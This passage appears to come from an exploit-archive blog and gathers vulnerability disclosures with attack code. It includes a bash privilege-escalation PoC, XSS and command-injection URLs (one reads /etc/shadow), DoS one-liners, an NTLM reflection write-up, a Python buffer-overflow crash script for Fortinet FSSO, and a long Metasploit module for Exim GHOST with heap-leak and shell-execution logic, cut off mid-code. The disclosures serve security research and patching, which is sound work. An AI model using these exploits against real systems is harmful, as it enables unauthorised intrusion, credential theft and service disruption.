source: https://www.securityfocus.com/bid/50982/info
HP Application Lifestyle Management is prone to a local privilege-escalation vulnerability.
Local attackers can exploit this issue to execute arbitrary code with elevated privileges.
#!/bin/bash
# Simple PoC : Run as user, when vulnerable function is called
# /home/user/binary_to_run_as_root is run as root.
cat > file << EOF
Child Components
0a29406d9794e4f9b30b3c5d6702c708
\`/home/user/binary_to_run_as_root\`
EOF
mkfifo /tmp/tmp.txt # set trap
cat /tmp/tmp.txt # blocks for victim
while [ -e /tmp/tmp.txt ]; do
cat file > /tmp/tmp.txt
sleep 2
done
rm file
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863141537
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/50978/info
HS2 web interface is prone to multiple security vulnerabilities:
1. An HTML-injection vulnerability.
2. A cross-site request-forgery vulnerability.
3. A directory-traversal vulnerability.
Attackers can exploit these issues to perform certain actions in the context of an authorized user's session, run arbitrary HTML and script code, and transfer files outside of the web directory. Other attacks may also be possible.
HomeSeer HS2 2.5.0.20 is vulnerable; prior versions may also be affected.
http://www.example.com/example<script>alert(document.cookie)</script>
source: https://www.securityfocus.com/bid/50968/info
Axis M10 Series Network Cameras are prone to a cross-site scripting vulnerability because they fail to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Axis M1054 firmware 5.21 is vulnerable; other version may also be affected.
http://www.example.com/admin/showReport.shtml?content=serverreport.cgi&pageTitle=%3C%2Ftitle%3E%3Cscript%3Ealert(String.fromCharCode(88%2C83%2C83))%3B%3C%2Fscript%3E%3Ctitle%3E
source: https://www.securityfocus.com/bid/50953/info
PowerDVD is prone to a denial-of-service vulnerability.
Attackers may leverage this issue to crash the affected application, denying service to legitimate users.
PowerDVD 11.0.0.2114 is vulnerable; other versions may also be affected.
udpsz -c "\r\n\r\n" -T SERVER 55793 -1
source: https://www.securityfocus.com/bid/50940/info
Apache Struts is prone to a security-bypass vulnerability that allows session tampering.
Successful attacks will allow attackers to bypass security restrictions and gain unauthorized access.
Apache Struts versions 2.0.9 and 2.1.8.1 are vulnerable; other versions may also be affected.
http://www.example.com/SomeAction.action?session.somekey=someValue
source: https://www.securityfocus.com/bid/50938/info
The Linux kernel is prone to a remote denial-of-service vulnerability.
An attacker can exploit this issue to cause an out-of-memory error in certain linux applications, resulting in denial-of-service conditions.
Linux kernel versions 2.6.35 and earlier are affected.
$ for i in 1 2 3 4 5 6 7 8 ; do ./feedftp $i >/dev/null & done
Source: https://code.google.com/p/google-security-research/issues/detail?id=222
Windows: Local WebDAV NTLM Reflection Elevation of Privilege
Platform: Windows 8.1 Update, Windows 7
Class: Elevation of Privilege
Summary:
A default installation of Windows 7/8 can be made to perform a NTLM reflection attack through WebDAV which allows a local user to elevate privileges to local system.
Description:
NTLM reflection is a well known issue with Windows authentication. It’s typically abused in networked scenarios to reflect credentials from one machine to another. It used to be possible to reflect credentials back to the same machine but that was mitigated in MS08-068 by not honouring NTLM authentication sessions already in flight. However this did nothing to stop cross-protocol attacks.
The WebClient service for WebDAV (which is installed and enabled by default, although you’d need to start it using its service trigger) also does NTLM authentication if the server requests it. As Windows has no block on binding to TCP ports < 1024 from a normal user account then we can setup our own WebDAV server running as a normal user bound to localhost (so also no firewall issues). If we can convince another user, ideally local system to connect to the WebDAV server we can start an NTLM authentication session. This can then be replayed locally to the TCP/IP CIFS service endpoint to authenticate as that user. If this was a local system account then that gives you full local admin privs, you can read/write any file on the system through the admin shares. You could also bind to local named pipes such as the service manager and create a new privileged service.
I’d put money on there being many ways of getting local system to open an arbitrary file, but the easiest one to exploit is Windows Defender (at least on Windows 8.1). You can tell it to initiate a scan of a file which gets opened under the local system token. Of course this might be a bug in and of itself. No processing of the path is done, it seems to be passed directly to CreateFile. This will cause a webdav connection to start to localhost and then NTLM can be negotiated.
I don’t believe I’ve changed the settings on my VMs which would enable this attack. Certainly reading Group Policy settings it seems like localsystem shouldn’t authenticate with the machine account by default, but it seems that you can. I’ve checked my security settings and they look correct. I’ve tested it on Windows 8.1 Update with defender, and on Windows 7 manually executing the open as local system and they both work.
After a quick search I can’t find anyone documenting this for the purposes of local privilege escalation attacks although it’s perhaps an obvious way of abusing the functionality so I would expect this is not common knowledge. It is the sort of bug which could be being exploited in the wild considering all it needs is socket access (which is any user) and some way of convincing a privileged user to open the local webdav share. Of course no-doubt it can be effectively mitigated using SMB signing although it isn’t clear that the NTLM extended protection is doing anything to stop it. That said this works in a default installation even with file sharing effectively disabled (at least as far as the GUIs will allow).
Even with signing enabled on the client I guess it’s possible that you can reflect the NTLM credentials to a local TCP DCE/RPC endpoint instead to achieve a similar effect. Also I wouldn’t be so sure that WebDAV is the only way of doing this. Again another one might be COM marshaling and specifying a endpoint locally (although it might be clever enough to not directly communicate for that one). Another use for this attack is for negotiating a local impersonation token for local system which could be used for Token Kidnapping purposes. Calling AcceptSecurityContext from any account with permissions to handle enterprise auth will be handed back an impersonation level token, even normal users. But of course network service etc would have most use for the token.
Proof of Concept:
I’ve provided a PoC which causes the Windows Defender service to open a WebDAV connection as Local System. This is for Windows 8.1 only as Windows 7’s defender doesn’t support the command as far as I know. The credentials are reflected to the local SMB service to write the file dummy.txt to the root of the C: drive. Of course more dangerous things could be done at this point. The PoC is written in Java just because it was the easiest to modify it’s library. No doubt an existing relay application could be repurposed, for example SmbRelay3 is supposed to be able to relay HTTP to SMB auth, but I didn’t try that.
1) Install latest Java 8 JRE.
2) Start the WebClient service, this could be done in many ways from a normal user, for now just start it using the service manager.
3) Extract the PoC to a directory.
4) Run “java -jar SmbTest.jar” in the extracted directory. This binds the WebDAV server then starts a scan with defender, after some seconds the exploit should run (there’s some slowness in everything starting).
Repro Notes:
If the PoC prints that the WebClient service isn’t started then start it. If no HTTP/NTLM traffic is printed to the console then webdav/mup had marked the server as down. Restart the webclient service and it should fix it.
Expected Result:
It shouldn’t be possible to elevate privileges, the SMB connection should fail to authenticate
Observed Result:
Authentication was successful as local system and a file written to the root of the C drive .
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36424.zip
Abstract
A command injection vulnerability was found in Websense Appliance Manager that allows an attacker to execute arbitrary code on the appliance. This issue can be combined with other vulnerabilities, like Cross-Site Scripting, to perform a remote unauthenticated attacks to compromise the appliance.
Tested versions
This issue was discovered on Websense Triton v7.8.3 and Websense appliance modules V-Series v7.7. Other versions may be affected as well.
Fix
Websense released hotfix 02 for Websense Triton v7.8.4 in which this issue is fixed. More information about this hotfix can be found at the following location:
http://www.websense.com/support/article/kbarticle/v7-8-4-About-Hotfix-02-for-Web-Security-Solutions
This issue is resolved in TRITON APX Version 8.0. More information about the fixed can be found at the following location:
http://www.websense.com/support/article/kbarticle/Vulnerabilities-resolved-in-TRITON-APX-Version-8-0
Introduction
Websense Data Security Suite contains three modules - Data Security Gateway, Data Discover, and Data Endpoint - that can help manage the risk of losing your data to malicious users or accidental misuse.
The Websense Appliance Manager GUI has a web-based 'command line utility' that provides the ability to execute various network debugging commands, which can be run on any module; Appliance Controller, Content Gateway, Web Security, Network Agent, Email Security Gateway. This command line utility is affected by command injection that allows an attacker to execute arbitrary code on the appliance. This issue can be combined with other vulnerabilities, like Cross-Site Scripting, to perform a remote unauthenticated attacks to compromise the appliance.
Details
The CommandLineServlet Java Servlet is responsible for enforcing limitations on the type of network debugging commands users are allowed to run using the GUI. An attacker is able to bypass these limitations by breaking out of any network diagnostics command that requires a second parameter (in this example Destination). This allows the attacker to inject arbitrary system commands. For example, the pipe character (|) is used to redirect the output from one process into the input of another, enabling multiple commands to be chained together. An attacker can leverage this behavior to execute any available system command (such as adduser or nc to start a reverse shell). The output is returned to the user, the commands are executed with elevated privileges (root).
With a little help of social engineering (like sending a link via email/chat), an attacker may trick authenticated users to execute arbitrary commands on behalf of the attacker. A more effective attack would be to abuse other Websense vulnerabilities like Cross-Site Scripting.
The following proof of concept will return the contents of /etc/shadow on affected appliances:
https://host:9447/appmng/servlet/CommandLineServlet?type=exec&uuid=asdfasdf&module=na1&command=ping&Destination=127.0.0.1'|cat%20/etc/shadow'
Other attack scenarios are also possible, like creating a backdoor account on the appliance.
1. Advisory Information
Title: Fortinet Single Sign On Stack Overflow
Advisory ID: CORE-2015-0006
Advisory URL: http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow
Date published: 2015-03-18
Date of last update: 2015-03-18
Vendors contacted: Fortinet
Release mode: Coordinated release
2. Vulnerability Information
Class: Stack-based Buffer Overflow [CWE-121]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-2281
3. Vulnerability Description
Through Fortniet [1] "Single Sign On" or "Single User Sign On" users logged on to a computer network are authenticated for access to network resources through the FortiGate unit without having to enter their username and password again. Fortinet Single Sign On (FSSO) provides Single Sign On capability for Microsoft Windows networks using either Active Directory or NTLM authentication and Novell networks, using eDirectory.
FSSO [4] monitors user logons and sends the FortiGate unit the username, IP address, and the list of Windows AD user groups to which the user belongs. When the user tries to access network resources, the FortiGate unit selects the appropriate security policy for the destination. If the user belongs to one of the permitted user groups, the connection is allowed.
There is a vulnerability in the message dispatcher used by FSSO Windows Active Directory and FSSO Novell eDirectory. Exploitation of this vulnerability might lead to a full network compromise.
4. Vulnerable packages
- FSSO Windows Active Directory 4.3.0161 (4.3.0151, 4.3.0129 were also tested and found vulnerable)
- FSSO Novell eDirectory 4.3.0161
Other versions are probably affected too, but they were not checked.
5. Vendor Information, Solutions and Workarounds
Core Security recommends those affected use third party software such as Sentinel [3] or EMET [2] that could help to prevent the exploitation of affected systems to some extent.
Fortinet published the following FortiGuard Bulletin: [5]
6. Credits
This vulnerability was discovered and researched by Enrique Nissim in collaboration with Andres Lopez Luksenberg, both from the Core Security Exploit Writing Team. The publication of this advisory was coordinated by Joaquín Rodríguez Varela from Core Security Advisories Team.
7. Technical Description / Proof of Concept Code
[CVE-2015-2281] The vulnerability in both cases can be exploited by sending a special packet to the services without being authenticated (pre-auth).
Given that both software systems require and Administrative account in order to run, (Windows Domain Admin or eDirectory Admin accordingly) the full network is exposed. Pre-authenticated Remote Code Execution with Domain Administrative rights is possible.
The vulnerability is located in the Message Dispatcher for message PROCESS_HELLO. Here is a PoC (Proof of Concept) that causes the application thread with the FortiGate appliance to crash:
import socket
import struct
TARGET_IP = "192.168.233.100"
def play():
message = "\x80\x01\x42\x42"
buff = "A"*248
buff += "B" * (0xfffff - len(buff))
payload = struct.pack(">I", 0x000fffff) + message + buff
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, 8000))
s.send(payload)
buff_recv = s.recv(6000)
print buff_recv
s.close()
play()
8. Report Timeline
2015-01-07: Core Security notifies Fortinet of the vulnerabilities. Publication date is set for February 2nd, 2015.
2015-01-09: Fortinet requests a copy of the advisory draft.
2015-01-09: Core Security sends a draft copy of the advisory to the vendor.
2015-01-14: Fortinet informs they are in the process of validating the report and asks if we want to commit to responsible disclosure.
2015-01-14: Core Security informs the vendor that our policy is to publish our findings in order to help the users to gain awareness of the issues and therefore allowing them to take the necessary precautions to protect themselves. We informed them that we always try to release our findings in a coordinate manner provided that the time the vendor takes to test and fix the issue is reasonable and the publication of this solution and our disclosure is agreed between the two parties.
2015-01-21: Core Security asks the vendor if they were able to review the vulnerabilities and a tentative date for publishing the fix and consequently the advisory.
2015-01-27: Fortinet acknowledges the vulnerabilities and informs that a fix of the source code is in order. The say they'll keep us updated regarding the release schedule.
2015-02-24: Fortinet informed us that the current ETA was the first week of March, but that it could be changed depending on their engineering load.
2015-02-24: Core Security requested a specific date considering that the first week of March was next week.
2015-02-27: Fortinet informed us that they currently don't have a fixed date. Additionally they sent us the link where their FortiGuard Bulletin is going to be published. They requested the CVE ID we are going to assign this issue.
2015-03-05: Core Security informs Fortinet that we still don´t have a CVE ID to share with them because we haven't received one from Mitre yet.
2015-03-05: Fortinet informed us that they were discussing when they were going to release the fix/update, and that they will provide us an ETA tomorrow.
2015-03-06: Fortinet informed us that their new ETA is March 11th, 2015. They clarify this is not a fixed date.
2015-03-11: Fortinet informed us that they postponed to the end of the week or next week the ETA of FortiOS 5.2.3.
2015-03-13: Core Security asks Fortinet about the status of the ETA for the fix/update. Additionally we recommended not to release it on a Friday in order to give the affected users the required time to apply the fix.
2015-03-16: Core Security asks Fortinet if they could send us their estimated ETA for the fix/update.
2015-03-16: Fortinet informed us that the current ETA is March 17th or March 18th.
2015-03-18: Advisory CORE-2015-0006 published.
9. References
[1] http://www.fortinet.com/.
[2] http://support.microsoft.com/kb/2458544.
[3] https://github.com/CoreSecurity/sentinel.
[4] http://docs-legacy.fortinet.com/cb/html/index.html#page/FOS_Cookbook/Authentication/FSSO-IBP.html.
[5] http://www.fortiguard.com/advisory/FG-IR-15-006/.
10. About CoreLabs
CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
11. About Core Security
Core Security enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
12. Disclaimer
The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
'Description' => %q(
This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based
buffer overflow in the GNU C Library's gethostbyname functions) on x86
and x86_64 GNU/Linux systems that run the Exim mail server. Technical
information about the exploitation can be found in the original GHOST
advisory, and in the source code of this module.
------------------------------------------------------------------------
SERVER-SIDE REQUIREMENTS (Exim)
------------------------------------------------------------------------
The remote system must use a vulnerable version of the GNU C Library:
the first exploitable version is glibc-2.6, the last exploitable version
is glibc-2.17; older versions might be exploitable too, but this module
depends on the newer versions' fd_nextsize (a member of the malloc_chunk
structure) to remotely obtain the address of Exim's smtp_cmd_buffer in
the heap.
------------------------------------------------------------------------
The remote system must run the Exim mail server: the first exploitable
version is exim-4.77; older versions might be exploitable too, but this
module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably
set up the heap as described in the GHOST advisory.
------------------------------------------------------------------------
The remote Exim mail server must be configured to perform extra security
checks against its SMTP clients: either the helo_try_verify_hosts or the
helo_verify_hosts option must be enabled; the "verify = helo" ACL might
be exploitable too, but is unpredictable and therefore not supported by
this module.
------------------------------------------------------------------------
CLIENT-SIDE REQUIREMENTS (Metasploit)
------------------------------------------------------------------------
This module's "exploit" method requires the SENDER_HOST_ADDRESS option
to be set to the IPv4 address of the SMTP client (Metasploit), as seen
by the SMTP server (Exim); additionally, this IPv4 address must have
both forward and reverse DNS entries that match each other
(Forward-Confirmed reverse DNS).
------------------------------------------------------------------------
The remote Exim server might be exploitable even if the Metasploit
client has no FCrDNS, but this module depends on Exim's sender_host_name
variable to be set in order to reliably control the state of the remote
heap.
------------------------------------------------------------------------
TROUBLESHOOTING
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option
was not specified.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure:
the SENDER_HOST_ADDRESS option was specified, but not in IPv4
dotted-decimal notation.
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or
"bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the
SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP
client (Metasploit), as seen by the SMTP server (Exim).
------------------------------------------------------------------------
"bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the
SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
------------------------------------------------------------------------
"not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server
is either not vulnerable, or not exploitable (glibc versions older than
glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
------------------------------------------------------------------------
"NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address
contains bad characters (NUL, CR, LF) and was therefore mangled during
the information leak; this exploit is able to reconstruct most of these
addresses, but not all (worst-case probability is ~1/85, but could be
further improved).
------------------------------------------------------------------------
"Brute-force SUCCESS" followed by a nil reply, but no shell: the remote
Unix command was executed, but spawned a bind-shell or a reverse-shell
that failed to connect (maybe because of a firewall, or a NAT, etc).
------------------------------------------------------------------------
"Brute-force SUCCESS" followed by a non-nil reply, and no shell: the
remote Unix command was executed, but failed to spawn the shell (maybe
because the setsid command doesn't exist, or awk isn't gawk, or netcat
doesn't support the -6 or -e option, or telnet doesn't support the -z
option, etc).
------------------------------------------------------------------------
Comments and questions are welcome!
),
'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'],
'License' => BSD_LICENSE,
'References' => [
['CVE', '2015-0235'],
['US-CERT-VU', '967332'],
['OSVDB', '117579'],
['BID', '72325'],
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt']
],
'DisclosureDate' => 'Jan 27 2015',
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^
'Payload' => {
'Space' => 255, # the shorter the payload, the higher the probability of code execution
'BadChars' => "", # we encode the payload ourselves, because ^
'DisableNops' => true,
'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
},
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(25),
OptAddress.new('SENDER_HOST_ADDRESS', [false,
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
], self.class)
register_advanced_options([
OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil])
], self.class)
end
def check
# for now, no information about the vulnerable state of the target
check_code = Exploit::CheckCode::Unknown
begin
# not exploiting, just checking
smtp_connect(false)
# malloc()ate gethostbyname's buffer, and
# make sure its next_chunk isn't the top chunk
9.times do
smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
smtp_recv(HELO_CODES)
end
# overflow (4 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x00303030
smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
# from now on, an exception means vulnerable
check_code = Exploit::CheckCode::Vulnerable
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# realloc()ate gethostbyname's buffer, and
# crash (old glibc) or abort (new glibc)
# on the overwritten size field
smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
# raise an exception if no valid SMTP reply
reply = smtp_recv(ANY_CODE)
# can't determine vulnerable state if smtp_verify_helo() isn't called
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
# a vulnerable target should've crashed by now
check_code = Exploit::CheckCode::Safe
rescue
peer = "#{rhost}:#{rport}"
vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}")
ensure
smtp_disconnect
end
return check_code
end
def exploit
unless datastore['I_KNOW_WHAT_I_AM_DOING']
print_status("Checking if target is vulnerable...")
fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
print_good("Target is vulnerable.")
end
information_leak
code_execution
end
private
HELO_CODES = '250|451|550'
ANY_CODE = '[0-9]{3}'
MIN_HEAP_SHIFT = 80
MIN_HEAP_SIZE = 128 * 1024
MAX_HEAP_SIZE = 1024 * 1024
# Exim
ALIGNMENT = 8
STORE_BLOCK_SIZE = 8192
STOREPOOL_MIN_SIZE = 256
LOG_BUFFER_SIZE = 8192
BIG_BUFFER_SIZE = 16384
SMTP_CMD_BUFFER_SIZE = 16384
IN_BUFFER_SIZE = 8192
# GNU C Library
PREV_INUSE = 0x1
NS_MAXDNAME = 1025
# Linux
MMAP_MIN_ADDR = 65536
def information_leak
print_status("Trying information leak...")
leaked_arch = nil
leaked_addr = []
# try different heap_shift values, in case Exim's heap address contains
# bad chars (NUL, CR, LF) and was mangled during the information leak;
# we'll keep the longest one (the least likely to have been truncated)
16.times do
done = catch(:another_heap_shift) do
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
print_debug("#{{ heap_shift: heap_shift }}")
# write the malloc_chunk header at increasing offsets (8-byte step),
# until we overwrite the "503 sender not yet given" error message
128.step(256, 8) do |write_offset|
error = try_information_leak(heap_shift, write_offset)
print_debug("#{{ write_offset: write_offset, error: error }}")
throw(:another_heap_shift) if not error
next if error == "503 sender not yet given"
# try a few more offsets (allows us to double-check things,
# and distinguish between 32-bit and 64-bit machines)
error = [error]
1.upto(5) do |i|
error[i] = try_information_leak(heap_shift, write_offset + i*8)
throw(:another_heap_shift) if not error[i]
end
print_debug("#{{ error: error }}")
_leaked_arch = leaked_arch
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86_64
elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
leaked_arch = ARCH_X86
else
throw(:another_heap_shift)
end
print_debug("#{{ leaked_arch: leaked_arch }}")
fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
# try different large-bins: most of them should be empty,
# so keep the most frequent fd_nextsize address
# (a pointer to the malloc_chunk itself)
count = Hash.new(0)
0.upto(9) do |last_digit|
error = try_information_leak(heap_shift, write_offset, last_digit)
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
count[error] += 1
end
print_debug("#{{ count: count }}")
throw(:another_heap_shift) if count.empty?
# convert count to a nested array of [key, value] arrays and sort it
error_count = count.sort { |a, b| b[1] <=> a[1] }
error_count = error_count.first # most frequent
error = error_count[0]
count = error_count[1]
throw(:another_heap_shift) unless count >= 6 # majority
leaked_addr.push({ error: error, shift: heap_shift })
# common-case shortcut
if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
(leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
leaked_addr = [leaked_addr.last] # use this one, and not another
throw(:another_heap_shift, true) # done
end
throw(:another_heap_shift)
end
throw(:another_heap_shift)
end
break if done
end
fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
leaked_addr = leaked_addr.first # longest
error = leaked_addr[:error]
shift = leaked_addr[:shift]
leaked_addr = 0
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
break if i >= error.length
leaked_addr += error.unpack('C*')[i] * (2**(i*8))
end
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
print_good("Successfully leaked_arch: #{leaked_arch}")
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
@leaked = { arch: leaked_arch, addr: leaked_addr }
end
def try_information_leak(heap_shift, write_offset, last_digit = 9)
fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0
fail_with("infoleak", "write_offset") if (write_offset & 7) != 0
fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
smtp_connect
# bulletproof Heap Feng Shui; the hard part is avoiding:
# "Too many syntax or protocol errors" (3)
# "Too many unrecognized commands" (3)
# "Too many nonmail commands" (10)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
smtp_recv(250)
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
smtp_recv(250)
# overflow (3 bytes) gethostbyname's buffer, and
# overwrite its next_chunk's size field with 0x003?31
# ^ last_digit
smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
begin # ^ 0x30 | PREV_INUSE
smtp_recv(HELO_CODES)
smtp_send("RSET")
smtp_recv(250)
smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(503, 'sender not yet given')
smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
smtp_recv(500, '\A500 unrecognized command\r\n\z')
smtp_send("DATA")
reply = smtp_recv(503)
lines = reply[:lines]
fail if lines.size <= 3
fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
# but happens with lower probability)
error = lines[+1..-3].join("")
error.sub!(/\A503-/mn, "")
error.sub!(/\r\n\z/mn, "")
error.gsub!(/\r\n503-/mn, "\n")
return error
rescue
return nil
end
ensure
smtp_disconnect
end
def code_execution
print_status("Trying code execution...")
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
# that rogue child processes cannot use them.
fail_with("codeexec", "encoded payload") if payload.raw != payload.encoded
fail_with("codeexec", "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
print_debug(command)
# don't try to execute commands directly, try a very simple ACL first,
# to distinguish between exploitation-problems and shellcode-problems
acldrop = "drop message="
message = rand_text_alpha(command.length - acldrop.length)
acldrop += message
max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
max_heap_addr = @leaked[:addr]
min_heap_addr = nil
survived = nil
# we later fill log_buffer and big_buffer with alpha chars,
# which creates a safe-zone at the beginning of the heap,
# where we can't possibly crash during our brute-force
# 4, because 3 copies of sender_helo_name, and step_len;
# start big, but refine little by little in case
# we crash because we overwrite important data
helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
loop do
sender_helo_name = "A" * helo_len
address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
# the 3 copies of sender_helo_name, allocated by
# host_build_sender_fullhost() in POOL_PERM memory
helo_ip_size = ALIGNMENT +
sender_helo_name[+1..-2].length
sender_fullhost_size = ALIGNMENT +
sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
